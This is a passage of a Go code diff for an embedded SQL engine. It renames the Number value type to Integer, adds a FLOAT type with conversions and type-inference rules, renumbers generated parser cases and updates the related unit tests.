85: + case 86: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 86: + case 87: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 87: + case 88: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 88: + case 89: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 89: + case 90: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 90: + case 91: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 91: + case 92: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 92: + case 93: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 93: + case 94: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 94: + case 95: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 95: + case 96: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 96: + case 97: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 97: + case 98: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 98: + case 99: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 99: + case 100: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 100: + case 101: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 101: + case 102: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 102: + case 103: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 103: + case 104: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 104: + case 105: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 105: + case 106: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 106: + case 107: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 107: + case 108: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 108: + case 109: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 109: + case 110: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 110: + case 111: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 111: + case 112: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 112: + case 113: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 113: + case 114: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 114: + case 115: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 115: + case 116: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 116: + case 117: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 117: + case 118: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 118: + case 119: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} } - case 119: + case 120: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) } - case 120: + case 121: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 121: + case 122: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 122: + case 123: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 123: + case 124: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 124: + case 125: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 125: + case 126: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 126: + case 127: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 127: + case 128: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 128: + case 129: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 129: + case 130: yyDollar = yyS[yypt-2 : yypt+1] { - yyVAL.exp = &NumExp{left: &Number{val: 0}, op: SUBSOP, right: yyDollar[2].exp} + yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 130: + case 131: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 131: + case 132: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(*SelectStmt)} } - case 132: + case 133: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 133: + case 134: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 134: + case 135: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 135: + case 136: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 136: + case 137: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 137: + case 138: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 138: + case 139: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 139: + case 140: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 140: + case 141: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 141: + case 142: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 142: + case 143: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 143: + case 144: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 144: + case 145: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 145: + case 146: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 146: + case 147: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 0c27242aa2..1029fe5d7c 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -147,7 +147,7 @@ func (sqlTx *SQLTx) Commit(ctx context.Context) (err error) { // no need to wait for indexing to be up to date during commit phase sqlTx.txHeader, err = sqlTx.tx.AsyncCommit(ctx) - if err != nil && err != store.ErrorNoEntriesProvided { + if err != nil && !errors.Is(err, store.ErrNoEntriesProvided) { return err } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 71c03c0d7f..5eae76e2ae 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -24,6 +24,7 @@ import ( "fmt" "math" "regexp" + "strconv" "strings" "time" @@ -66,6 +67,7 @@ const ( BooleanType SQLValueType = "BOOLEAN" VarcharType SQLValueType = "VARCHAR" BLOBType SQLValueType = "BLOB" + Float64Type SQLValueType = "FLOAT" TimestampType SQLValueType = "TIMESTAMP" AnyType SQLValueType = "ANY" ) @@ -624,7 +626,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st table.maxPK++ pkCol := table.primaryIndex.cols[0] - valuesByColID[pkCol.id] = &Number{val: table.maxPK} + valuesByColID[pkCol.id] = &Integer{val: table.maxPK} if _, ok := tx.firstInsertedPKs[table.name]; !ok { tx.firstInsertedPKs[table.name] = table.maxPK @@ -687,7 +689,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st return nil, err } - if err == store.ErrKeyNotFound && pkMustExist { + if errors.Is(err, store.ErrKeyNotFound) && pkMustExist { return nil, fmt.Errorf("%w: specified value must be greater than current one", ErrInvalidValue) } @@ -770,7 +772,9 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m return err } - encVal, err := EncodeValue(rval.Value(), col.colType, col.MaxLen()) + convertedValue := applyImplicitConversion(rval, col.colType) + + encVal, err := EncodeValue(convertedValue, col.colType, col.MaxLen()) if err != nil { return err } @@ -1451,23 +1455,23 @@ func (v *NullValue) selectorRanges(table *Table, asTable string, params map[stri return nil } -type Number struct { +type Integer struct { val int64 } -func (v *Number) Type() SQLValueType { +func (v *Integer) Type() SQLValueType { return IntegerType } -func (v *Number) IsNull() bool { +func (v *Integer) IsNull() bool { return false } -func (v *Number) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *Integer) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { return IntegerType, nil } -func (v *Number) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *Integer) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { if t != IntegerType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) } @@ -1475,31 +1479,31 @@ func (v *Number) requiresType(t SQLValueType, cols map[string]ColDescriptor, par return nil } -func (v *Number) substitute(params map[string]interface{}) (ValueExp, error) { +func (v *Integer) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } -func (v *Number) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *Integer) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { return v, nil } -func (v *Number) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *Integer) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { return v } -func (v *Number) isConstant() bool { +func (v *Integer) isConstant() bool { return true } -func (v *Number) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { +func (v *Integer) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } -func (v *Number) Value() interface{} { +func (v *Integer) Value() interface{} { return v.val } -func (v *Number) Compare(val TypedValue) (int, error) { +func (v *Integer) Compare(val TypedValue) (int, error) { if val.IsNull() { return 1, nil } @@ -1785,6 +1789,75 @@ func (v *Blob) Compare(val TypedValue) (int, error) { return bytes.Compare(v.val, rval), nil } +type Float64 struct { + val float64 +} + +func (v *Float64) Type() SQLValueType { + return Float64Type +} + +func (v *Float64) IsNull() bool { + return false +} + +func (v *Float64) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { + return Float64Type, nil +} + +func (v *Float64) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { + if t != Float64Type { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, Float64Type, t) + } + + return nil +} + +func (v *Float64) substitute(params map[string]interface{}) (ValueExp, error) { + return v, nil +} + +func (v *Float64) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { + return v, nil +} + +func (v *Float64) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { + return v +} + +func (v *Float64) isConstant() bool { + return true +} + +func (v *Float64) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { + return nil +} + +func (v *Float64) Value() interface{} { + return v.val +} + +func (v *Float64) Compare(val TypedValue) (int, error) { + if val.IsNull() { + return 1, nil + } + + rval, ok := val.Value().(float64) + if !ok { + return 0, ErrNotComparableValues + } + + if v.val == rval { + return 0, nil + } + + if v.val > rval { + return 1, nil + } + + return -1, nil +} + type FnCall struct { fn string params []ValueExp @@ -1795,7 +1868,7 @@ func (v *FnCall) inferType(cols map[string]ColDescriptor, params map[string]SQLV return TimestampType, nil } - return AnyType, fmt.Errorf("%w: unkown function %s", ErrIllegalArguments, v.fn) + return AnyType, fmt.Errorf("%w: unknown function %s", ErrIllegalArguments, v.fn) } func (v *FnCall) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { @@ -1904,6 +1977,41 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { ) } + if dst == Float64Type { + + if src == IntegerType { + return func(val TypedValue) (TypedValue, error) { + if val.Value() == nil { + return &NullValue{t: Float64Type}, nil + } + return &Float64{val: float64(val.Value().(int64))}, nil + }, nil + } + + if src == VarcharType { + return func(val TypedValue) (TypedValue, error) { + if val.Value() == nil { + return &NullValue{t: Float64Type}, nil + } + + s, err := strconv.ParseFloat(val.Value().(string), 64) + if err != nil { + return nil, fmt.Errorf( + "%w: can not cast string '%s' as a FLOAT", + ErrIllegalArguments, + val.Value().(string), + ) + } + return &Float64{val: s}, nil + }, nil + } + + return nil, fmt.Errorf( + "%w: only INTEGER and VARCHAR types can be cast as TIMESTAMP", + ErrUnsupportedCast, + ) + } + return nil, fmt.Errorf( "%w: can not cast %s value as %s", ErrUnsupportedCast, @@ -2020,19 +2128,19 @@ func (p *Param) substitute(params map[string]interface{}) (ValueExp, error) { } case int: { - return &Number{val: int64(v)}, nil + return &Integer{val: int64(v)}, nil } case uint: { - return &Number{val: int64(v)}, nil + return &Integer{val: int64(v)}, nil } case uint64: { - return &Number{val: int64(v)}, nil + return &Integer{val: int64(v)}, nil } case int64: { - return &Number{val: v}, nil + return &Integer{val: v}, nil } case []byte: { @@ -2042,6 +2150,10 @@ func (p *Param) substitute(params map[string]interface{}) (ValueExp, error) { { return &Timestamp{val: v.Truncate(time.Microsecond).UTC()}, nil } + case float64: + { + return &Float64{val: v}, nil + } } return nil, ErrUnsupportedParameter @@ -2751,12 +2863,17 @@ func (sel *AggColSelector) inferType(cols map[string]ColDescriptor, params map[s colSelector := &ColSelector{db: sel.db, table: sel.table, col: sel.col} if sel.aggFn == SUM || sel.aggFn == AVG { - err := colSelector.requiresType(IntegerType, cols, params, implicitDB, implicitTable) + t, err := colSelector.inferType(cols, params, implicitDB, implicitTable) if err != nil { return AnyType, err } - return IntegerType, nil + if t != IntegerType && t != Float64Type { + return AnyType, fmt.Errorf("%w: %v or %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, Float64Type, t) + + } + + return t, nil } return colSelector.inferType(cols, params, implicitDB, implicitTable) @@ -2773,7 +2890,9 @@ func (sel *AggColSelector) requiresType(t SQLValueType, cols map[string]ColDescr colSelector := &ColSelector{db: sel.db, table: sel.table, col: sel.col} if sel.aggFn == SUM || sel.aggFn == AVG { - return colSelector.requiresType(IntegerType, cols, params, implicitDB, implicitTable) + if t != IntegerType && t != Float64Type { + return fmt.Errorf("%w: %v or %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, Float64Type, t) + } } return colSelector.requiresType(t, cols, params, implicitDB, implicitTable) @@ -2813,34 +2932,87 @@ type NumExp struct { } func (bexp *NumExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { - err := bexp.left.requiresType(IntegerType, cols, params, implicitDB, implicitTable) + // First step - check if we can infer the type of sub-expressions + tleft, err := bexp.left.inferType(cols, params, implicitDB, implicitTable) if err != nil { return AnyType, err } + if tleft != AnyType && tleft != IntegerType && tleft != Float64Type { + return AnyType, fmt.Errorf("%w: %v or %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, Float64Type, tleft) + } - err = bexp.right.requiresType(IntegerType, cols, params, implicitDB, implicitTable) + tright, err := bexp.right.inferType(cols, params, implicitDB, implicitTable) if err != nil { return AnyType, err } + if tright != AnyType && tright != IntegerType && tright != Float64Type { + return AnyType, fmt.Errorf("%w: %v or %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, Float64Type, tright) + } - return IntegerType, nil + if tleft == IntegerType && tright == IntegerType { + // Both sides are integer types - the result is also integer + return IntegerType, nil + } + + if tleft != AnyType && tright != AnyType { + // Both sides have concrete types but at least one of them is float + return Float64Type, nil + } + + // Both sides are ambiguous + return AnyType, nil +} + +func copyParams(params map[string]SQLValueType) map[string]SQLValueType { + ret := make(map[string]SQLValueType, len(params)) + for k, v := range params { + ret[k] = v + } + return ret +} + +func restoreParams(params, restore map[string]SQLValueType) { + for k := range params { + delete(params, k) + } + for k, v := range restore { + params[k] = v + } } func (bexp *NumExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { - if t != IntegerType { + if t != IntegerType && t != Float64Type { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) } - err := bexp.left.requiresType(IntegerType, cols, params, implicitDB, implicitTable) + floatArgs := 2 + paramsOrig := copyParams(params) + err := bexp.left.requiresType(t, cols, params, implicitDB, implicitTable) + if err != nil && t == Float64Type { + restoreParams(params, paramsOrig) + floatArgs-- + err = bexp.left.requiresType(IntegerType, cols, params, implicitDB, implicitTable) + } if err != nil { return err } - err = bexp.right.requiresType(IntegerType, cols, params, implicitDB, implicitTable) + paramsOrig = copyParams(params) + err = bexp.right.requiresType(t, cols, params, implicitDB, implicitTable) + if err != nil && t == Float64Type { + restoreParams(params, paramsOrig) + floatArgs-- + err = bexp.right.requiresType(IntegerType, cols, params, implicitDB, implicitTable) + } if err != nil { return err } + if t == Float64Type && floatArgs == 0 { + // Currently this case requires explicit float cast + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) + } + return nil } @@ -2872,40 +3044,7 @@ func (bexp *NumExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string return nil, err } - nl, isNumber := vl.Value().(int64) - if !isNumber { - return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) - } - - nr, isNumber := vr.Value().(int64) - if !isNumber { - return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) - } - - switch bexp.op { - case ADDOP: - { - return &Number{val: nl + nr}, nil - } - case SUBSOP: - { - return &Number{val: nl - nr}, nil - } - case DIVOP: - { - if nr == 0 { - return nil, ErrDivisionByZero - } - - return &Number{val: nl / nr}, nil - } - case MULTOP: - { - return &Number{val: nl * nr}, nil - } - } - - return nil, ErrUnexpected + return applyNumOperator(bexp.op, vl, vr) } func (bexp *NumExp) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { @@ -3840,7 +3979,7 @@ func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, &Varchar{val: table.name}, &Varchar{val: c.colName}, &Varchar{val: c.colType}, - &Number{val: int64(c.MaxLen())}, + &Integer{val: int64(c.MaxLen())}, &Bool{val: c.IsNullable()}, &Bool{val: c.autoIncrement}, &Bool{val: indexed}, diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index 70627ab4c8..f1bcf02c06 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -33,6 +33,7 @@ func TestRequiresTypeColSelectorsValueExp(t *testing.T) { cols["(db1.mytable.active)"] = ColDescriptor{Type: BooleanType} cols["(db1.mytable.payload)"] = ColDescriptor{Type: BLOBType} cols["COUNT(db1.mytable.*)"] = ColDescriptor{Type: IntegerType} + cols["(db1.mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) @@ -144,6 +145,24 @@ func TestRequiresTypeColSelectorsValueExp(t *testing.T) { requiredType: IntegerType, expectedError: ErrInvalidTypes, }, + { + exp: &AggColSelector{aggFn: "SUM", db: "db1", table: "mytable", col: "ft"}, + cols: cols, + params: params, + implicitDB: "db1", + implicitTable: "mytable", + requiredType: Float64Type, + expectedError: nil, + }, + { + exp: &AggColSelector{aggFn: "SUM", db: "db1", table: "mytable", col: "ft"}, + cols: cols, + params: params, + implicitDB: "db1", + implicitTable: "mytable", + requiredType: BooleanType, + expectedError: ErrInvalidTypes, + }, } for i, tc := range testCases { @@ -165,6 +184,7 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { cols["(db1.mytable.active)"] = ColDescriptor{Type: BooleanType} cols["(db1.mytable.payload)"] = ColDescriptor{Type: BLOBType} cols["COUNT(db1.mytable.*)"] = ColDescriptor{Type: IntegerType} + cols["(db1.mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) @@ -178,7 +198,7 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { expectedError error }{ { - exp: &NumExp{op: ADDOP, left: &Number{val: 0}, right: &Number{val: 0}}, + exp: &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Integer{val: 0}}, cols: cols, params: params, implicitDB: "db1", @@ -187,7 +207,7 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { expectedError: nil, }, { - exp: &NumExp{op: ADDOP, left: &Number{val: 0}, right: &Number{val: 0}}, + exp: &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Integer{val: 0}}, cols: cols, params: params, implicitDB: "db1", @@ -196,7 +216,7 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { expectedError: ErrInvalidTypes, }, { - exp: &NumExp{op: ADDOP, left: &Bool{val: true}, right: &Number{val: 0}}, + exp: &NumExp{op: ADDOP, left: &Bool{val: true}, right: &Integer{val: 0}}, cols: cols, params: params, implicitDB: "db1", @@ -205,7 +225,7 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { expectedError: ErrInvalidTypes, }, { - exp: &NumExp{op: ADDOP, left: &Number{val: 0}, right: &Bool{val: true}}, + exp: &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Bool{val: true}}, cols: cols, params: params, implicitDB: "db1", @@ -213,6 +233,15 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { requiredType: IntegerType, expectedError: ErrInvalidTypes, }, + { + exp: &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Bool{val: true}}, + cols: cols, + params: params, + implicitDB: "db1", + implicitTable: "mytable", + requiredType: Float64Type, + expectedError: ErrInvalidTypes, + }, } for i, tc := range testCases { @@ -234,6 +263,7 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { cols["(db1.mytable.active)"] = ColDescriptor{Type: BooleanType} cols["(db1.mytable.payload)"] = ColDescriptor{Type: BLOBType} cols["COUNT(db1.mytable.*)"] = ColDescriptor{Type: IntegerType} + cols["(db1.mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) @@ -274,7 +304,7 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { expectedError: ErrInvalidTypes, }, { - exp: &Number{}, + exp: &Integer{}, cols: cols, params: params, implicitDB: "db1", @@ -283,7 +313,7 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { expectedError: nil, }, { - exp: &Number{}, + exp: &Integer{}, cols: cols, params: params, implicitDB: "db1", @@ -399,6 +429,15 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { requiredType: VarcharType, expectedError: ErrInvalidCondition, }, + { + exp: &LikeBoolExp{val: &ColSelector{col: "ft"}, pattern: &Varchar{val: ""}}, + cols: cols, + params: params, + implicitDB: "db1", + implicitTable: "mytable", + requiredType: Float64Type, + expectedError: ErrInvalidTypes, + }, } for i, tc := range testCases { @@ -420,6 +459,7 @@ func TestRequiresTypeSysFnValueExp(t *testing.T) { cols["(db1.mytable.active)"] = ColDescriptor{Type: BooleanType} cols["(db1.mytable.payload)"] = ColDescriptor{Type: BLOBType} cols["COUNT(db1.mytable.*)"] = ColDescriptor{Type: IntegerType} + cols["(db1.mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) @@ -459,6 +499,15 @@ func TestRequiresTypeSysFnValueExp(t *testing.T) { requiredType: VarcharType, expectedError: ErrIllegalArguments, }, + { + exp: &FnCall{fn: "LOWER"}, + cols: cols, + params: params, + implicitDB: "db1", + implicitTable: "mytable", + requiredType: Float64Type, + expectedError: ErrIllegalArguments, + }, } for i, tc := range testCases { @@ -480,6 +529,7 @@ func TestRequiresTypeBinValueExp(t *testing.T) { cols["(db1.mytable.active)"] = ColDescriptor{Type: BooleanType} cols["(db1.mytable.payload)"] = ColDescriptor{Type: BLOBType} cols["COUNT(db1.mytable.*)"] = ColDescriptor{Type: IntegerType} + cols["(db1.mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) @@ -511,7 +561,7 @@ func TestRequiresTypeBinValueExp(t *testing.T) { expectedError: ErrInvalidTypes, }, { - exp: &BinBoolExp{op: AND, left: &Number{val: 1}, right: &Bool{val: false}}, + exp: &BinBoolExp{op: AND, left: &Integer{val: 1}, right: &Bool{val: false}}, cols: cols, params: params, implicitDB: "db1", @@ -520,7 +570,7 @@ func TestRequiresTypeBinValueExp(t *testing.T) { expectedError: ErrInvalidTypes, }, { - exp: &BinBoolExp{op: AND, left: &Bool{val: false}, right: &Number{val: 1}}, + exp: &BinBoolExp{op: AND, left: &Bool{val: false}, right: &Integer{val: 1}}, cols: cols, params: params, implicitDB: "db1", @@ -529,7 +579,7 @@ func TestRequiresTypeBinValueExp(t *testing.T) { expectedError: ErrInvalidTypes, }, { - exp: &CmpBoolExp{op: LE, left: &Number{val: 1}, right: &Number{val: 1}}, + exp: &CmpBoolExp{op: LE, left: &Integer{val: 1}, right: &Integer{val: 1}}, cols: cols, params: params, implicitDB: "db1", @@ -538,7 +588,7 @@ func TestRequiresTypeBinValueExp(t *testing.T) { expectedError: nil, }, { - exp: &CmpBoolExp{op: LE, left: &Number{val: 1}, right: &Number{val: 1}}, + exp: &CmpBoolExp{op: LE, left: &Integer{val: 1}, right: &Integer{val: 1}}, cols: cols, params: params, implicitDB: "db1", @@ -547,7 +597,7 @@ func TestRequiresTypeBinValueExp(t *testing.T) { expectedError: ErrInvalidTypes, }, { - exp: &CmpBoolExp{op: LE, left: &Number{val: 1}, right: &Bool{val: false}}, + exp: &CmpBoolExp{op: LE, left: &Integer{val: 1}, right: &Bool{val: false}}, cols: cols, params: params, implicitDB: "db1", @@ -556,7 +606,7 @@ func TestRequiresTypeBinValueExp(t *testing.T) { expectedError: ErrInvalidTypes, }, { - exp: &CmpBoolExp{op: LE, left: &Bool{val: false}, right: &Number{val: 1}}, + exp: &CmpBoolExp{op: LE, left: &Bool{val: false}, right: &Integer{val: 1}}, cols: cols, params: params, implicitDB: "db1", @@ -644,7 +694,7 @@ func TestLikeBoolExpEdgeCases(t *testing.T) { require.Nil(t, exp.selectorRanges(nil, "", nil, nil)) t.Run("like expression with invalid types", func(t *testing.T) { - exp := &LikeBoolExp{val: &ColSelector{col: "col1"}, pattern: &Number{}} + exp := &LikeBoolExp{val: &ColSelector{col: "col1"}, pattern: &Integer{}} _, err = exp.inferType(nil, nil, "", "") require.ErrorIs(t, err, ErrInvalidTypes) @@ -685,7 +735,7 @@ func TestEdgeCases(t *testing.T) { func TestIsConstant(t *testing.T) { require.True(t, (&NullValue{}).isConstant()) - require.True(t, (&Number{}).isConstant()) + require.True(t, (&Integer{}).isConstant()) require.True(t, (&Varchar{}).isConstant()) require.True(t, (&Bool{}).isConstant()) require.True(t, (&Blob{}).isConstant()) @@ -696,8 +746,8 @@ func TestIsConstant(t *testing.T) { require.True(t, (&NumExp{ op: AND, - left: &Number{val: 1}, - right: &Number{val: 2}, + left: &Integer{val: 1}, + right: &Integer{val: 2}, }).isConstant()) require.True(t, (&NotBoolExp{exp: &Bool{}}).isConstant()) @@ -705,19 +755,19 @@ func TestIsConstant(t *testing.T) { require.True(t, (&CmpBoolExp{ op: LE, - left: &Number{val: 1}, - right: &Number{val: 2}, + left: &Integer{val: 1}, + right: &Integer{val: 2}, 